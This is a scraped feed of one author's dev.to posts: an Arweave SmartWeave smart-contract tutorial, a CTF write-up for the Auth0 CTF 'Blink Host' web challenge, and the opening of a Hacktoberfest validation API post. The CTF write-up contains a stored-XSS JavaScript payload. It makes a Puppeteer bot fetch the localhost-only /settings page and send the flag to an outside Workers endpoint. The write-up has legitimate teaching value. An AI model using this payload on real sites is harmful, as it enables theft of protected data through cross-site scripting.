  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Tabs over Spaces&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;description&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;This is my first petition. Please vote this petition to make spaces illegal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;funds&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;raised&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.2109999999999999&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;goal&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;records&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Ji6MP-Wt_LYk6yaTsxEnhlpbRpAu0824&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;1.21&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;6Jfg5shIvbAcgoD04mOppSxL6LAqx6IfjL0JexxpmFQ&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Deployment &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;To deploy the contracts, use the Smartweave create command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave create [SRC LOCATION] [INITIAL STATE FILE] --key-file [YOUR KEYFILE]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It takes around 10-15 minutes for the contract to be deployed. &lt;strong&gt;Note that you would have to spend some AR in order to deploy the contract.&lt;/strong&gt; &lt;br&gt;
Once the create command completes, the CLI will output a unique transaction ID for the transaction. This ID is essential to proceed forward.&lt;/p&gt;

&lt;p&gt;To check the status of the transaction&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;arweave status [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To read the state of the contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave read [CONTRACT TXID]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;For a web GUI experience, check out &lt;a href="//viewblock.io"&gt;Viewblock.io&lt;/a&gt;. Its a handy website to check all the information about your contracts state, tags and transactions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Interacting with the contract &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;It is time to send payloads to interact with the contract i.e. update the state. We would be using the enlist and donate functions that we set up earlier on the contracts.&lt;/p&gt;

&lt;p&gt;To interact with the transaction:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [CONTRACT TXID] --key-file [YOUR KEYFILE] \
  --input "[CONTRACT INPUT STRING HERE]"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For enlisting a contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Parent Crowdsource Contract TXID] --key-file [YOUR KEYFILE] --input "{"function":"enlist","listingId":"&amp;lt;Collection contract TXID&amp;gt;"}"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For donating tokens to a collection&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;smartweave write [Collection Contract] --key-file [YOUR KEYFILE] --input '{"function":"donate","donorId":"&amp;lt;Donor wallet address&amp;gt;","amount":&amp;lt;number of tokens&amp;gt;}'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Congratulations 🥳🥳🥳&lt;br&gt;&lt;br&gt;
Hope you liked reading through the article. To summarise the learnings, you should have understood:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;What are smart contracts&lt;/li&gt;
&lt;li&gt;How to write and deploy one on Arweave&lt;/li&gt;
&lt;li&gt;How to Interact with them &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Read about my project I built for the hackathon if you're interested below 🙂&lt;/p&gt;

&lt;h4&gt;
  
  
  Bonus Tip
&lt;/h4&gt;

&lt;p&gt;All of these are done via CLI, but to scale it to a real world application. You would need to the Arweave SDKs and APIs.&lt;br&gt;&lt;br&gt;
Happy Exploring 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  About my project &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Its called &lt;strong&gt;People Help People&lt;/strong&gt;, the origin of the name comes from the idea of a society where people are not dependent on middle men or central systems to help each other. One can find more information about the Aim and Goals on the &lt;a href="https://docs.google.com/presentation/d/1aKKLEy4_jbnvHA1-2FpWgVjiqPK1W-jKKnlb-1cZPKc/edit?usp=sharing" rel="noopener noreferrer"&gt;Pitch Deck&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This is a blockchain based project. It has two parts to it. The smart contracts and the web client interface. &lt;/p&gt;

&lt;p&gt;The project presently consists of two prototypes&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/petitions" rel="noopener noreferrer"&gt;Petitions&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/People-Help-People/crowdsource" rel="noopener noreferrer"&gt;Crowdsource&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both of these prototypes inherits the idea of PHP, i.e. to defeat the intervention of a central system. Hence I covered only one of them in the article. Once I learnt the basic fundamentals of how smart contracts work and how to write one, giving life to these two ideas was plain sailing. &lt;/p&gt;

&lt;p&gt;Devfolio Submission link: &lt;a href="https://devfolio.co/submissions/people-help-people-a3c8" rel="noopener noreferrer"&gt;https://devfolio.co/submissions/people-help-people-a3c8&lt;/a&gt;&lt;br&gt;&lt;br&gt;
GitHub Repo link: &lt;a href="https://github.com/HarishTeens/PeopleHelpPeople" rel="noopener noreferrer"&gt;https://github.com/HarishTeens/PeopleHelpPeople&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I had to struggle a lot to walk through the right steps in order to learn this. So I tried my best to make the learning smooth for a beginner. Please share your feedbacks in the comments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Join the Movement
&lt;/h3&gt;

&lt;p&gt;If you're interested in joining the movement, dm me on Twitter so I could add you to the organisation &lt;a href="https://github.com/People-Help-People" rel="noopener noreferrer"&gt;People Help People&lt;/a&gt; on GitHub. It's a very recent org, so it appears to be blank at the moment. But definitely planning to work on it in the future ✨ &lt;/p&gt;

&lt;p&gt;Follow me on Twitter &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;@HarishTeens&lt;/a&gt;   &lt;/p&gt;

</description>
      <category>javascript</category>
      <category>blockchain</category>
      <category>web3</category>
    </item>
    <item>
      <title>Blink Host | Auth0 CTF Write-up</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 27 Oct 2021 04:53:54 +0000</pubDate>
      <link>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</link>
      <guid>https://dev.to/harishteens/blink-host-auth0-ctf-write-up-4l7f</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;This web challenge was hosted on Auth0 CTF 2021. Read more about it &lt;a href="https://auth0.com/blog/introducing-auth0-ctf/" rel="noopener noreferrer"&gt;here&lt;/a&gt;. This challenge was tagged for 625 points with a 2 star rating. I would categorise the difficulty level as Beginner-Intermediate. Download the challenge file from this &lt;a href="https://github.com/dscnitrourkela/CTF-solutions/blob/main/problems/web_blink_host.zip" rel="noopener noreferrer"&gt;link&lt;/a&gt;. The zip file extracks to a challenge folder with docker config. To setup the docker container in local, simply run the &lt;code&gt;build-docker.sh&lt;/code&gt; file and you should be good to go.  &lt;/p&gt;

&lt;p&gt;The following is a write-up for the aforementioned challenge, give it a shot yourself before reading ahead. &lt;/p&gt;

&lt;h2&gt;
  
  
  Table Of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Recon&lt;/li&gt;
&lt;li&gt;Initial thought process&lt;/li&gt;
&lt;li&gt;Exploring Pupeeteer&lt;/li&gt;
&lt;li&gt;Building the solution&lt;/li&gt;
&lt;li&gt;Summary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A quick overview of the application would be that it is a dynamic website that lets you submit a support ticket via an input form. There are other routes as well but it cant be accessed normally with the browser. Like you guessed, the flag is buried in one of the protected routes.&lt;/p&gt;

&lt;h3&gt;
  
  
  Recon &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;First I started browsing through the source code to understand what all technologies are used. &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Express App (JS) : The app uses ExpressJS for the backend. &lt;/li&gt;
&lt;li&gt;Nunjucks: The most commonly used templating library is Nunjucks. Once I saw this maybe there is some injection possible somewhere.&lt;/li&gt;
&lt;li&gt;SQL DB: Alright, the database was on SQL. I got excited to see this one as I'm a big fan of SQLi scripting.
sqli&lt;/li&gt;
&lt;li&gt;Puppeteer: There was also Puppeteer. I've barely used it, so I just had in the back of my head. Not sure what would be possible with it.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This was all I got from a bird's eye view. This is usually the first thing I do. Next is to understand what the app does, like really trying to understand what operations it is performing under the hood.&lt;/p&gt;

&lt;p&gt;After browsing through the files.  Of all the routes, the only 3 that mattered are the following:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;code&gt;settings&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/tickets&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/api/submit_ticket&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Out of these, only the 3rd route is accessible via the browser. The first two routes are guarded by a condition that allows traffic originated only within the network i.e. from localhost.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So whenever I try to goto any of the endpoints from the browser, it simply redirects to the landing page.&lt;br&gt;
Coming to the most important part, the flag was present inside settings.html that could only be accessed via the settings route. Let us explore how we could retrieve the flag.&lt;/p&gt;
&lt;h3&gt;
  
  
  Initial thought process &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;location of the flag&lt;/li&gt;
&lt;li&gt;in order to get to the flag, we gotta expose settings.html&lt;/li&gt;
&lt;li&gt;and that is blocked only from 127.0.0.1&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Since the flag was hid behind the &lt;code&gt;/settings&lt;/code&gt; endpoint, it can only be accessed within the network. If we somehow trick the server into thinking that the request originated within the network, it must lead us to settings.html. &lt;/p&gt;

&lt;p&gt;My initial thought process was to simply try spoofing the request, make the server believe that the request is in fact originated from localhost. So I tried googling how to do that and found the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header. Basically I was trying to understand how node identifies the request IP, so I thought I could send a payload there. This &lt;a href="https://stackoverflow.com/questions/8107856/how-to-determine-a-users-ip-address-in-node" rel="noopener noreferrer"&gt;post&lt;/a&gt; helped me send a curl request with the above header set to &lt;code&gt;127.0.0.1&lt;/code&gt;. Unfortunately, that didnt work.&lt;/p&gt;

&lt;p&gt;After trying to set other header's, I realised that the request cannot be spoofed. It has to be legit!&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploring Puppeteer &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The only piece I had'nt explored was Pupeeteer which in fact visited the &lt;code&gt;/tickets&lt;/code&gt; route right after a ticket is submitted. If you're hearing about Puppeteer for the first time, read their &lt;a href="https://pptr.dev/" rel="noopener noreferrer"&gt;website&lt;/a&gt;. In simple terms, its a bot that mimics how a user interacts with websites.&lt;/p&gt;

&lt;p&gt;Exploring its code...&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/api/submit_ticket&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;async &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;body&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addTicket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;website&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
                &lt;span class="nx"&gt;bot&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;purgeData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;db&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
                &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Ticket submitted successfully! An admin will review the ticket shortly!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
            &lt;span class="p"&gt;});&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;status&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;403&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Please fill out all the fields first!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This was actually fishy cause, the purgeData function is being called right after a ticket is submitted. So what essentially happens is the bot visits the page and then it simply clears the db. Its strange, but yeah thats what it does.&lt;/p&gt;

&lt;p&gt;Now I was wondering, can I trick Puppeteer to visit the &lt;code&gt;/settings&lt;/code&gt; route that contains the flag somehow? So I began exploring the bot code and routes. No SQLI was possible, it was cleverly filtered. So thats out of the equation. Even template injection wouldnt work. &lt;/p&gt;

&lt;p&gt;After some exploration, I noticed the ticket from db is fetched and rendered on the tickets HTML DOM. Suddenly it hit me, would a simple XSS work? cause its just rendering the field from the db without sanitizing it. But the big question is how would I know if it worked? I ain't visiting the site, Puppeteer does. &lt;/p&gt;

&lt;p&gt;Lots of problems to be solved here...&lt;/p&gt;

&lt;p&gt;To test my theory, I had to make Pupetter call my external API endpoint by sending a JS payload. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd2ne86pdt1ai5417nrdw.png" alt=" " width="800" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A few seconds after I hit submit, I saw a GET request being made to this endpoint in the logs . My theory works, Tada 🎉🎉🎉&lt;/p&gt;

&lt;h3&gt;
  
  
  Building the solution &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;Now that I know Puppeteer can send data outside, all I had to do was write a JS script that grabs the flag from &lt;code&gt;/settings&lt;/code&gt; route and sends it to my Cloudflare API.&lt;/p&gt;

&lt;p&gt;This solution would work cause it is in fact Pupetter which is running locally(request IP is 127.0.0.1) that visits the &lt;code&gt;/settings&lt;/code&gt; endpoint, not me!!!&lt;/p&gt;

&lt;p&gt;So here comes the easy part&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;    &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;http://127.0.0.1:1337/settings&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;response&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
    &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;substring&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;html&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lastIndexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;HTB{&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://curly-art-0176.designrknight.workers.dev/a=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;exp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The simplest JS script to visit settings page, grab the flag and send back in the GET param. This could probably be the smallest backdoor script that I've ever written xD.&lt;/p&gt;

&lt;p&gt;As soon as I hit submit, I got a hit on the logs. The param had the flag. And yes it was the right one!&lt;/p&gt;

&lt;h3&gt;
  
  
  Summary &lt;a&gt;&lt;/a&gt;
&lt;/h3&gt;

&lt;p&gt;The website is &lt;strong&gt;XSS susceptible&lt;/strong&gt;. So write a fetch request that visits settings route, grabs the flag and then posts it back to an external endpoint. This worked because &lt;strong&gt;pupetter didnt block external network connetions&lt;/strong&gt;. These two are the major vulnerabilities here.&lt;/p&gt;

&lt;p&gt;Follow me on &lt;a href="https://twitter.com/harishteens" rel="noopener noreferrer"&gt;twitter.com/HarishTeens&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I would like to thank Auth0 for hosting the CTF ✨. Special thanks to &lt;a href="https://twitter.com/designrknight" rel="noopener noreferrer"&gt;@DesignrKnight&lt;/a&gt; | Partner in crime.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>web</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>How I built the API for Hacktoberfest Validation</title>
      <dc:creator>Harish</dc:creator>
      <pubDate>Wed, 18 Nov 2020 04:51:14 +0000</pubDate>
      <link>https://dev.to/gh-campus-experts/building-an-api-for-hacktoberfest-validation-3jl6</link>
      <guid>https://dev.to/gh-campus-experts/building-an-api-for-hacktoberfest-validation-3jl6</guid>
      <description>&lt;p&gt;If you're up for some old Queen hits, feel free to turn it up!&lt;/p&gt;

&lt;p&gt;&lt;iframe src="https://open.spotify.com/embed/artist/1dfeR4HaWDbWqFHLkxsg1d" width="100%" height="380px"&gt;
&lt;/iframe&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  Where it all started
&lt;/h3&gt;

&lt;p&gt;Online certificates have become a huge thing nowadays. With people posting certificates on LinkedIn, no one seems the bother about its authenticity or value. All this for what? to incentivize people? Hmm...&lt;br&gt;&lt;br&gt;
More and more digital documents came into play. Things like Photo frames, Online ID Cards, Badges for attending events...etc. Assigning people with badges seemed like a cool thing to do. That's when we started digging and came to know about DSC OMG event. DSC OMG is a global conference for talks, workshops and events for developers. They had used a badges framework wrapped around their event. At the end people had badges in their dashboard for crazy things like attending a particular session, logging in first, staying up till the end. One could easily think of a billion ways to assign badges.&lt;/p&gt;
&lt;h3&gt;
  
  
  The badges Framework
&lt;/h3&gt;

&lt;p&gt;We at DSC NIT Rourkela have wrapped our &lt;a href="https://live.dscnitrourkela.org/" rel="noopener noreferrer"&gt;website&lt;/a&gt; with the same badges framework which DSC OMG had used. Thanks to &lt;a href="https://twitter.com/Kautukkundan" rel="noopener noreferrer"&gt;Kautuk Kundan&lt;/a&gt; (the creator of the badges framework).&lt;/p&gt;

&lt;p&gt;After setting up the badges server, even we went crazy and started giving away badges for all sorts of activities. At the end of October, I had this thought of assigning badges to the ones who have completed the Hacktoberfest 2020 Challenge. When I first thought about it, I didn't really give much thought about it. Since it is GitHub and DigitialOcean has already done, assumed it to be fairly straightforward. And it is if you know how it is done :).&lt;/p&gt;
&lt;h3&gt;
  
  
  Getting to work
&lt;/h3&gt;

&lt;p&gt;Before getting into coding, I first picture the flow of all the things that need to be done. Firstly, there would be a login button on the front-end which authenticates the user and send a token to some server. Then that server fetches the PR history and does the validation check, return back with a Success True/False response.   &lt;/p&gt;

&lt;p&gt;Setting up an OAuth GitHub app was really easy. Once that is done, I started looking into the GitHub API Docs.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Problem
&lt;/h3&gt;

&lt;p&gt;As I was going through the Docs, I couldn't find any API which gives away the PR of an authenticated user. That really hit me hard. It didn't make sense, because DO has done it, so there must be a way. I was thinking to use search queries, even considering scrapping the page( sorry GitHub :/). No luck whatsoever.&lt;br&gt;&lt;br&gt;
I pretty much gave up and thought maybe DO has some internal affair with GitHub. The big enterprises get it done. It was a big surprise to me when I got to know that the entire Hacktoberfest website, server and client was on GitHub. I felt like I hit a JackPot! It didn't even last for a second :(.&lt;/p&gt;
&lt;h3&gt;
  
  
  Exploring DO's Hacktoberfest Repo
&lt;/h3&gt;

&lt;p&gt;The entire codebase was on Ruby and I have no idea of Ruby. Tried going into random files in hope to figure something out, but no luck. I've used Python, JavaScript, C++ and even PHP. But Ruby was totally strange! No one I knew had a good understanding of Ruby. Out of frustration, I went to the contributors list and started mailing them!&lt;/p&gt;

